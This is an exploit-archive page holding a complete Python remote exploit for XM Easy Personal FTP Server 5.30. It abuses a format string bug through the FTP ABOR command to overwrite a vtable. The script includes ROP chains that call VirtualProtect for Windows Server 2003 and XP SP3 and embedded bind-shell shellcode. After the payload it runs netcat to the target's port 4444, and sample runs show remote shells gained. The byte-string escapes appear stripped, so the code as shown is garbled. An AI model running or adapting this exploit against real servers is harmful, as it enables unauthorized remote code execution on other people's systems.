Home / exploits XM Easy Personal FTP Server 5.30 Format String
Posted on 15 June 2012
#!/usr/bin/python # XM Easy Personal FTP Server v <= 5.30 Remote Format String write4 Exploit # exploit by: mr_me (@net__ninja/mr_me[at]corelan.be) # Thanks to the Corelan Security Team # Note: this is a poc only, and requires the following target environment: # Windows Server 23k: # - msvcrt.dll v7.0.3790.3959 # - ntdll.dll v5.2.3790.4937 # # ..or # # Windows XP SP3: # - msvcrt.dll v7.0.2600.5512 # - ntdll.dll v5.1.2600.6055 # # Fully tested against these environments. # # An additional offset for the allocated chunk (0x00AEFAB9) under Windows XP SP3 # (ntdll.dll vv5.1.2600.5512 (xpsp.080413-2111)) are: # # if auth_required == 1: # sploit += "%11467127x" # lookaside chunk address 0x00AEFAB9 # elif auth_required == 2: # sploit += "%11467133x" # lookaside chunk address 0x00AEFAB9 # # Thanks to @_bcoles for the additional testing and target. # # Well, after 6 years of DoS, 2 DoS metasploit modules later, I thought it would be a good # time for some unreliable RCE: # # - http://www.exploit-db.com/search/?action=search&filter_description=XM+Easy+Personal # - http://www.metasploit.com/modules/framework/search?utf8=%E2%9C%93&osvdb=&bid=&text=XM+Easy&cve=&msb= # # How is the exploit working? Voodoo? ...no # # Basically at crash time I could only find our string at [esp-0xYYYYYYYY] and as such # couldn't use our string to overwrite an arbitrary function pointer. But when I looked # closer at the esp, I noticed that at esp+0x7c an object is stored. So what I did was # use the %n to overwrite the objects vtable with a controlled value (str length + %YYx # to pad out the arbitrary fake vtable). During the application authentication routine, # it will allocate the strings we send as USER/PASS from a heap and then free them to # the lookaside (as long as the string length is < 1016 bytes in size). # # Because this address is relative and has a static base in this environment, I was able # to use the heap chunk address as the pointer to write at the vtable. Then a function is # called at offset 0xb0 or 0x98 and we can reliably return into a ROP payload and execute # arbitrary code. # # Enjoy the shells guys # ~ mr_me # # example exploitation against XP: # # mr_me@gliese:~/pentest/research/targets/xm$ ./xm_pwnage.py 192.168.153.160 # ------------------------------------------------------------------------- # XM Easy Personal FTP Server <= v5.30 Remote Format String Write4 Exploit # Written by mr_me (@net__ninja) # ------------------------------------------------------------------------- # # (+) Choose your target: # 1. Windows Server 2003 EN # 2. Windows XP SP3 EN # --> 2 # (+) Choose your option: # 1. use no authentication (anonymous is disabled) # 2. use authentication (anonymous is enabled) # --> 1 # (+) Connecting to the target 192.168.153.160:21 # (+) Seeding payload... # (+) Triggering write4.... # (+) Connecting to the targets shell! # Connection to 192.168.153.160 4444 port [tcp/*] succeeded! # Microsoft Windows XP [Version 5.1.2600] # (C) Copyright 1985-2001 Microsoft Corp. # # C:Documents and Settingssteve> # # example exploitation against Windows Server 23k: # # mr_me@gliese:~/pentest/research/targets/xm$ ./poc_working.py 192.168.153.159 # ------------------------------------------------------------------------- # XM Easy Personal FTP Server <= v5.30 Remote Format String Write4 Exploit # Written by mr_me (@net__ninja) # ------------------------------------------------------------------------- # # (+) Choose your target: # 1. Windows Server 2003 EN # 2. Windows XP SP3 EN # --> 1 # (+) Choose your option: # 1. use no authentication (anonymous is disabled) # 2. use authentication (anonymous is enabled) # --> 2 # (+) Connecting to the target 192.168.153.159:21 # (+) Seeding payload... # (+) Triggering write4.... # (+) Connecting to the targets shell! # Connection to 192.168.153.159 4444 port [tcp/*] succeeded! # Microsoft Windows [Version 5.2.3790] # (C) Copyright 1985-2003 Microsoft Corp. # # C:Documents and SettingsAdministratorDesktop> # import socket import struct import sys from os import system from time import sleep host = '' port = 21 # ./msfpayload windows/shell_bind_tcp exitfunc=seh R | # ./msfencode -b "x00x0ax0d" -e x86/jmp_call_additive -t c # [*] x86/jmp_call_additive succeeded with size 373 (iteration=1 sc = ("xfcxbbx70x4exf9xb6xebx0cx5ex56x31x1exadx01xc3" "x85xc0x75xf7xc3xe8xefxffxffxffx8cxa6x70xb6x6c" "x37xe3x3ex89x06x31x24xdax3bx85x2ex8exb7x6ex62" "x3ax43x02xabx4dxe4xa9x8dx60xf5x1fx12x2ex35x01" "xeex2cx6axe1xcfxffx7fxe0x08x1dx8fxb0xc1x6ax22" "x25x65x2exffx44xa9x25xbfx3exccxf9x34xf5xcfx29" "xe4x82x98xd1x8excdx38xe0x43x0ex04xabxe8xe5xfe" "x2ax39x34xfex1dx05x9bxc1x92x88xe5x06x14x73x90" "x7cx67x0exa3x46x1axd4x26x5bxbcx9fx91xbfx3dx73" "x47x4bx31x38x03x13x55xbfxc0x2fx61x34xe7xffxe0" "x0exccxdbxa9xd5x6dx7dx17xbbx92x9dxffx64x37xd5" "xedx71x41xb4x79xb5x7cx47x79xd1xf7x34x4bx7exac" "xd2xe7xf7x6ax24x08x22xcaxbaxf7xcdx2bx92x33x99" "x7bx8cx92xa2x17x4cx1bx77xb7x1cxb3x28x78xcdx73" "x99x10x07x7cxc6x01x28x57x71x06xe6x8cxd1xe1x0b" "x32xc7xadx82xd4x8dx5dxc3x4fx3ax9cx30x58xddxdf" "x12xf5x76x48x2ax10x40x77xabx37xe2xd4x03xdfx71" "x37x90xfex85x12xb0x89xbdxf5x4axe7x0cx67x4ax22" "xe6x04xd9xa8xf7x43xc2x67xafx04x34x71x25xb9x6f" "x2bx58x40xe9x14xd8x9fxcax9bxe0x52x76xbfxf2xaa" "x77xfbxa6x62x2ex55x11xc5x98x17xcbx9fx77xf1x9b" "x66xb4xc2xddx66x91xb5x02xd6x4cx83x3dxd7x18x03" "x45x05xb9xecx9cx8dxc7x1cx2dx18x5fx86xc4x61x3d" "x39x33xa5x38xb9xb6x56xbfxa1xb2x53xfbx66x2ex2e" "x94x02x50x9dx95x07x50x21x6axa7x51x21x6a") def banner(): print "-------------------------------------------------------------------------" print " XM Easy Personal FTP Server <= v5.30 Remote Format String Write4 Exploit" print " Written by mr_me (@net__ninja) " print "------------------------------------------------------------------------- " if (len(sys.argv) < 2): banner() print "Usage: %s <target_ip> [port]" %(sys.argv[0]) sys.exit(1) if (len(sys.argv) == 3): port = int(sys.argv[2]) host = sys.argv[1] banner() print("(+) Choose your target:") print(" 1. Windows Server 2003 EN") print(" 2. Windows XP SP3 EN") try: target = int(raw_input("--> ")) except: print("Exiting..") sys.exit(0) if target not in [1,2]: print("(-) Invalid target!") sys.exit(0) print("(+) Choose your option:") print(" 1. use no authentication (anonymous is disabled)") print(" 2. use authentication (anonymous is enabled)") try: auth_required = int(raw_input("--> ")) except: print("Exiting..") sys.exit(0) if auth_required not in [1,2]: print("(-) Invalid option!") sys.exit(0) # start building the attack string sploit = "ABOR " # rop - Windows Server 23k if target == 1: # C:WINDOWSsystem32msvcrt.dll v7.0.3790.3959 rop = struct.pack('<L', 0x77be3adb) # pop eax ; retn rop += struct.pack('<L', 0x77ba1114) # <- *&VirtualProtect() rop += struct.pack('<L', 0x77bbf244) # mov eax,[eax] ; pop ebp ; retn rop += struct.pack('<L', 0x41414141) # junk ------------^ rop += struct.pack('<L', 0x77bb0c86) # xchg eax,esi ; retn rop += struct.pack('<L', 0x77be3adb) # pop eax ; retn rop += struct.pack('<L', 0xFFFFFBFF) # dwSize rop += struct.pack('<L', 0x77BAD64D) # neg eax ; pop ebp ; retn rop += struct.pack('<L', 0x41414141) # junk ------^ rop += struct.pack('<L', 0x77BBF102) # xchg eax,ebx ; add [eax],al ; retn rop += struct.pack('<L', 0x77bbfc02) # pop ecx ; retn rop += struct.pack('<L', 0x77bef001) # ptr that is w+ rop += struct.pack('<L', 0x77bd8c04) # pop edi ; retn rop += struct.pack('<L', 0x77bd8c05) # retn rop += struct.pack('<L', 0x77be3adb) # pop eax ; retn rop += struct.pack('<L', 0xFFFFFFC0) # flNewProtect rop += struct.pack('<L', 0x77BAD64D) # neg eax ; pop ebp ; retn rop += struct.pack('<L', 0x77be2265) # ptr to 'push esp ; ret' rop += struct.pack('<L', 0x77BB8285) # xchg eax,edx ; retn rop += struct.pack('<L', 0x77be3adb) # pop eax ; retn rop += struct.pack('<L', 0x90909090) # nops rop += struct.pack('<L', 0x77be6591) # pushad ; add al,0ef ; retn if auth_required == 1: sploit += "%12133031x" # lookaside chunk address #11204415 elif auth_required == 2: sploit += "%12133037x" # lookaside chunk address pivot = "x35x62xbax77" # 0x77BA6235 - xchg eax,esp; retn jump = "xebx56" # jump forward into our shellcode # rop - Windows XP SP3 elif target == 2: # C:WINDOWSsystem32msvcrt.dll v7.0.2600.5512 rop = struct.pack('<L', 0x77C21D16) # pop eax ; retn rop += struct.pack('<L', 0x77C11120) # <- *&VirtualProtect() rop += struct.pack('<L', 0x77C2E493) # mov eax,[eax] ; pop ebp ; retn rop += struct.pack('<L', 0x41414141) # junk ------------^ rop += struct.pack('<L', 0x77C21891) # pop esi ; retn rop += struct.pack('<L', 0x77C5D010) # ptr that is w+ rop += struct.pack('<L', 0x77C2DD6C) # xchg eax,esi ; add [eax],al; retn rop += struct.pack('<L', 0x77C21D16) # pop eax ; retn rop += struct.pack('<L', 0xFFFFFBFF) # dwSize rop += struct.pack('<L', 0x77C1BE18) # neg eax ; pop ebp ; retn rop += struct.pack('<L', 0x41414141) # junk ------^ rop += struct.pack('<L', 0x77C2362C) # pop ebx ; retn rop += struct.pack('<L', 0x77C5D010) # ptr that is w+ rop += struct.pack('<L', 0x77C2E071) # xchg eax,ebx ; add [eax],al ; retn rop += struct.pack('<L', 0x77C1F519) # pop ecx ; retn rop += struct.pack('<L', 0x77C5D010) # ptr that is w+ rop += struct.pack('<L', 0x77C23B47) # pop edi ; retn rop += struct.pack('<L', 0x77C23B48) # retn rop += struct.pack('<L', 0x77C21D16) # pop eax ; retn rop += struct.pack('<L', 0xFFFFFFC0) # flNewProtect rop += struct.pack('<L', 0x77C1BE18) # neg eax ; pop ebp ; retn rop += struct.pack('<L', 0x77C35459) # ptr to 'push esp ; ret' rop += struct.pack('<L', 0x77C58FBC) # xchg eax,edx ; retn rop += struct.pack('<L', 0x77C21D16) # pop eax ; retn rop += struct.pack('<L', 0x90909090) # nops rop += struct.pack('<L', 0x77C567F0) # pushad ; add al,0ef ; retn if auth_required == 1: sploit += "%11204415x" # lookaside chunk address elif auth_required == 2: sploit += "%11204421x" # lookaside chunk address pivot = "xd5x5exc1x77" # 0x77C15ED5 - xchg eax,esp; retn jump = "xebx4a" # jump forward into our shellcode sploit += "%p" * 31 # offset to the object on the stack sploit += "%n" * 1 # write the controlled value into the vtable sploit += "x45" * 4500 username = "USER anonymous " password = "PASS anonymous@" password += rop password += jump password += "x62" * (0x96-len(rop)) password += pivot # vtable+0x98 function password += "x62" * 0x14 password += pivot # vtable+0xb0 function password += sc password += "x62" * (0x398-len(password)) password += ".com " try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print "(+) Connecting to the target %s:%d" % (host, port) s.connect((host,port)) except: print("(-) Cannot connect to the target %s:%s" % (host, port)) sys.exit(0) try: print "(+) Seeding payload..." s.recv(1024) s.send(username) s.recv(1024) s.send(password) s.recv(1024) print "(+) Triggering write4..." s.send(sploit) s.recv(1024) s.close() except: print "(-) Failed to trigger the vulnerability...!" sys.exit(0) print "(+) Connecting to the targets shell!" try: sleep(1) system("nc -v %s 4444" % host) except: print("(-) Exploit failed! check if the target service is up") sys.exit(0)
